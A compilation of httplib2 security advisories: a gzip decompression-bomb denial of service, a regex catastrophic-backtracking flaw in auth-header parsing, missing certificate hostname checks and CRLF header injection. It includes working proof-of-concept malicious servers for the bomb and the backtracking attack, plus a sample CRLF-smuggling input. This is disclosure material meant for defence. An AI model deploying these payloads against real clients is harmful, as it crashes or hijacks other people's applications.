Summary

The httplib2 HTTP client library performs unbounded decompression of HTTP response bodies encoded with Content-Encoding: gzip or deflate. A malicious or compromised HTTP server can return a small compressed payload (approximately 150 KB) that expands to an arbitrarily large size in memory (150 MB or more), causing MemoryError or OOM-kill in the client process. This is a classic decompression bomb (zip bomb) attack against the HTTP client.

Any application using httplib2.Http().request() against untrusted or attacker-controlled HTTP endpoints is affected.

Details

Affected code: httplib2/init.py - decompressContent() function

The decompression path has two unbounded operations:

1. gzip decompression (line 394): python content = gzip.GzipFile(fileobj=io.BytesIO(newcontent)).read() The .read() call with no size argument decompresses the entire gzip payload into a single in-memory bytes object. There is no limit on the decompressed size.

2. deflate decompression (line 397): python content = zlib.decompress(content, zlib.MAXWBITS) Similarly, zlib.decompress() returns the fully decompressed content as a single bytes object with no size bound.

3. Automatic invocation (line 1431): decompressContent() is called automatically on every HTTP response that includes a Content-Encoding: gzip or deflate header. The full compressed body is already buffered in memory via response.read() before decompression begins.

Root cause: There is no maxdecompressedsize, streaming decompression with size tracking, or decompression ratio check anywhere in the decompression path. The library unconditionally trusts the server's compressed payload size.

Attack vector: Any HTTP server (including man-in-the-middle attackers or compromised upstream services) can trigger this by returning a response with: - Content-Encoding: gzip header - A small compressed body that decompresses to an arbitrarily large size

Proof of Concept

Step 1 - Start a malicious HTTP server that serves a gzip decompression bomb:

python #!/usr/bin/env python3 """Malicious HTTP server that serves a gzip decompression bomb.""" import gzip import http.server import io import socketserver

UNCOMPRESSEDSIZE = 150 1024 1024 # 150 MB

def makepayload(): """Create a gzip payload: ~150 KB compressed -> 150 MB decompressed.""" buf = io.BytesIO() with gzip.GzipFile(fileobj=buf, mode="wb", compresslevel=9) as gz: chunk = b"A" (1024 1024) # 1 MB of repeating bytes for in range(UNCOMPRESSEDSIZE // len(chunk)): gz.write(chunk) return buf.getvalue()

PAYLOAD = makepayload()

class Handler(http.server.BaseHTTPRequestHandler): def doGET(self): self.sendresponse(200) self.sendheader("Content-Type", "application/octet-stream") self.sendheader("Content-Encoding", "gzip") self.sendheader("Content-Length", str(len(PAYLOAD))) self.endheaders() self.wfile.write(PAYLOAD) def logmessage(self, fmt, args): pass

with socketserver.TCPServer(("127.0.0.1", 8000), Handler) as httpd: print(f"Bomb server ready: {len(PAYLOAD)} bytes compressed -> " f"{UNCOMPRESSEDSIZE} bytes decompressed") httpd.serveforever()

Step 2 - Run the httplib2 client (in a separate terminal):

python #!/usr/bin/env python3 """Client that demonstrates MemoryError from httplib2 decompression bomb.""" import resource import httplib2

Set a 180 MB memory limit to make the crash deterministic LIMITMB = 180 limit = LIMITMB 1024 1024 resource.setrlimit(resource.RLIMITAS, (limit, limit))

http = httplib2.Http(timeout=5) try: response, content = http.request("http://127.0.0.1:8000/") print(f"Unexpected success: received {len(content)} bytes") except MemoryError: print(f"MemoryError confirmed: decompression bomb exhausted " f"{LIMITMB} MB memory limit") # This is the expected outcome - the 150 KB compressed payload # expanded to 150 MB during decompression, exceeding the limit.

Expected output (client): MemoryError confirmed: decompression bomb exhausted 180 MB memory limit

Reproduction metrics: - Compressed payload size: 152,908 bytes (~150 KB) - Decompressed size: 157,286,400 bytes (150 MB) - Amplification ratio: ~1,029x - Client memory limit: 180 MB -> MemoryError triggered during gzip.GzipFile.read()

Impact

Severity: High

Any application using httplib2 to make HTTP requests to untrusted servers is vulnerable. The attack requires no authentication, no special configuration, and no user interaction - the server simply returns a crafted gzip-compressed response.

| Parameter | Value | |---|---| | Compressed payload | ~150 KB | | Decompressed size | 150 MB (configurable by attacker) | | Amplification ratio | ~1,029x | | Authentication required | None | | User interaction required | None | | Prerequisites | Client makes any HTTP request to attacker-controlled server |

Real-world scenarios: - Web scrapers/crawlers that fetch pages from untrusted URLs - API clients connecting to third-party services - Webhook handlers that follow redirects to attacker-controlled endpoints - CI/CD pipelines that download dependencies or artifacts over HTTP - Any MITM attacker on an unencrypted HTTP connection can inject the compressed payload

Impact scaling: The attacker can create arbitrarily large decompression bombs. A 1 MB compressed payload can decompress to several gigabytes, guaranteeing OOM-kill on virtually any system. The attack is fully deterministic and requires only a single HTTP response.

Downstream exposure: httplib2 is a widely used Python HTTP client library with millions of downloads. It is a dependency of Google's API client libraries (google-api-python-client, google-auth-httplib2), meaning applications using Google Cloud APIs may be indirectly affected if they process responses from untrusted intermediaries.

--- Credit

Found by a security research team from the University of Sydney, focusing on detecting open source software vulnerabilities. Liyi Zhou: https://lzhou1110.github.io/ Ziyue Wang: https://zyy0530.github.io/ Strick: https://str1ckl4nd.github.io/ Maurice: https://maurice.busystar.org/ Chenchen Yu: https://7thparkk.github.io/

httplib2 0.7.2, 0.8, and earlier, after an initial connection is made, does not verify that the server hostname matches a domain name in the subject's Common Name (CN) or subjectAltName field of the X.509 certificate, which allows man-in-the-middle attackers to spoof SSL servers via an arbitrary valid certificate.

Impact A malicious server which responds with long series of \xa0 characters in the www-authenticate header may cause Denial of Service (CPU burn while parsing header) of the httplib2 client accessing said server.

Patches Version 0.19.0 contains new implementation of auth headers parsing, using pyparsing library. https://github.com/httplib2/httplib2/pull/182

Workarounds py import httplib2 httplib2.USEWWWAUTHSTRICTPARSING = True

Technical Details

The vulnerable regular expression is https://github.com/httplib2/httplib2/blob/595e248d0958c00e83cb28f136a2a54772772b50/python3/httplib2/init.py#L336-L338

The section before the equals sign contains multiple overlapping groups. Ignoring the optional part containing a comma, we have:

\s[^ \t\r\n=]+\s=

Since all three infinitely repeating groups accept the non-breaking space character \xa0, a long string of \xa0 causes catastrophic backtracking.

The complexity is cubic, so doubling the length of the malicious string of \xa0 makes processing take 8 times as long.

Reproduction Steps

Run a malicious server which responds with

www-authenticate: x \xa0\xa0\xa0\xa0x

but with many more \xa0 characters.

An example malicious python server is below:

py from http.server import BaseHTTPRequestHandler, HTTPServer

def makeheadervalue(nspaces): repeat = "\xa0" nspaces return f"x {repeat}x"

class Handler(BaseHTTPRequestHandler): def doGET(self): self.logrequest(401) self.sendresponseonly(401) # Don't bother sending Server and Date nspaces = ( int(self.path[1:]) # Can GET e.g. /100 to test shorter sequences if len(self.path) > 1 else 65512 # Max header line length 65536 ) value = makeheadervalue(nspaces) self.sendheader("www-authenticate", value) # This header can actually be sent multiple times self.endheaders()

if name == "main": HTTPServer(("", 1337), Handler).serveforever()

Connect to the server with httplib2:

py import httplib2 httplib2.Http(".cache").request("http://localhost:1337", "GET")

To benchmark performance with shorter strings, you can set the path to a number e.g. http://localhost:1337/1000

References Thanks to Ben Caller (Doyensec) for finding vulnerability and discrete notification.

For more information If you have any questions or comments about this advisory: Open an issue in httplib2 Email current maintainer at 2021-01

Impact Attacker controlling unescaped part of uri for httplib2.Http.request() could change request headers and body, send additional hidden requests to same server.

Impacts software that uses httplib2 with uri constructed by string concatenation, as opposed to proper urllib building with escaping.

Patches Problem has been fixed in 0.18.0 Space, CR, LF characters are now quoted before any use. This solution should not impact any valid usage of httplib2 library, that is uri constructed by urllib.

Workarounds Create URI with urllib.parse family functions: urlencode, urlunsplit.

diff userinput = " HTTP/1.1\r\ninjected: attack\r\nignore-http:" -uri = "https://api.server/?q={}".format(userinput) +uri = urllib.parse.urlunsplit(("https", "api.server", "/v1", urllib.parse.urlencode({"q": userinput}), "")) http.request(uri)

References https://cwe.mitre.org/data/definitions/93.html https://docs.python.org/3/library/urllib.parse.html

Thanks to Recar https://github.com/Ciyfly for finding vulnerability and discrete notification.

For more information If you have any questions or comments about this advisory: Open an issue in httplib2 Email current maintainer at 2020-05